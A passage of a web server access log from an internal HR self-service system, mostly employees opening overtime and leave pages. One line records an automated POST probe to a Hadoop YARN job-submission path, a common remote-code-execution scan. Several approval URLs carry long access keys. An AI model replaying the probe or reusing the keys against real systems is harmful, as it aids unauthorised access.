Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [02/Dec/2025:11:47:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:11:47:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:47:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [02/Dec/2025:11:48:38 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [02/Dec/2025:11:48:38 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.11.135 - - [02/Dec/2025:11:49:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03646786391746071 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:49:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03646786391746071 HTTP/1.1" 200 8908 192.168.11.135 - - [02/Dec/2025:11:49:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03646786391746071 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03646786391746071" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:49:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03646786391746071 HTTP/1.1" 200 24852 192.168.11.125 - - [02/Dec/2025:11:49:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.135 - - [02/Dec/2025:11:49:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:49:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 192.168.11.125 - - [02/Dec/2025:11:49:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 8937 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 8937 192.168.11.125 - - [02/Dec/2025:11:49:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.125 - - [02/Dec/2025:11:49:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [02/Dec/2025:11:49:54 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:54 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.125 - - [02/Dec/2025:11:49:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44874 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44874 192.168.11.135 - - [02/Dec/2025:11:49:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:49:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [02/Dec/2025:11:49:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44877 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44877 100.64.0.1 - - [02/Dec/2025:11:49:56 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10462A2D63CA73FBC3133D592B3F5B364AF036307EFE4AE2445F5503C579E3A70999807AD637BDDE4 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:11:49:56 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10462A2D63CA73FBC3133D592B3F5B364AF036307EFE4AE2445F5503C579E3A70999807AD637BDDE4 HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:11:49:58 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10462A2D63CA73FBC3133D592B3F5B364AF036307EFE4AE2445F5503C579E3A70999807AD637BDDE4 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:11:49:58 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10462A2D63CA73FBC3133D592B3F5B364AF036307EFE4AE2445F5503C579E3A70999807AD637BDDE4 HTTP/1.1" 200 4166 100.64.0.1 - - [02/Dec/2025:11:49:59 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10462A2D63CA73FBC3133D592B3F5B364AF036307EFE4AE2445F5503C579E3A70999807AD637BDDE4" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:11:49:59 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.125 - - [02/Dec/2025:11:49:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44877 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:49:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44877 192.168.11.125 - - [02/Dec/2025:11:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44878 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:50:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44878 192.168.11.125 - - [02/Dec/2025:11:50:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [02/Dec/2025:11:50:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 192.168.11.135 - - [02/Dec/2025:11:50:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8822203397160621 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8822203397160621 HTTP/1.1" 200 8908 100.64.0.1 - - [02/Dec/2025:11:50:11 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [02/Dec/2025:11:50:11 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335 HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:11:50:12 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:11:50:12 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335 HTTP/1.1" 200 4166 100.64.0.1 - - [02/Dec/2025:11:50:12 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [02/Dec/2025:11:50:12 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.135 - - [02/Dec/2025:11:50:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8822203397160621 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8822203397160621" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8822203397160621 HTTP/1.1" 200 24852 192.168.11.135 - - [02/Dec/2025:11:50:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 100.64.0.1 - - [02/Dec/2025:11:50:36 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:36 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335 HTTP/1.1" 200 4166 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:37 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.135 - - [02/Dec/2025:11:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 100.64.0.1 - - [02/Dec/2025:11:50:39 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1EDCB4612B717848DE08D9D6C366BA6D10073212D36A3A533C2E2BB0F2C0F08CE6515F59DA1115BB0709A8F9BE0CA8C39599E6AFBD0BE4335" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [02/Dec/2025:11:50:39 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 192.168.11.135 - - [02/Dec/2025:11:50:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675 HTTP/1.1" 200 8908 192.168.11.104 - - [02/Dec/2025:11:50:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:50:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.104 - - [02/Dec/2025:11:50:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:50:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.104 - - [02/Dec/2025:11:50:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:50:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.104 - - [02/Dec/2025:11:50:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:50:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.104 - - [02/Dec/2025:11:50:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:50:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.104 - - [02/Dec/2025:11:50:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:50:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [02/Dec/2025:11:50:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675 HTTP/1.1" 200 24852 192.168.11.135 - - [02/Dec/2025:11:50:58 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 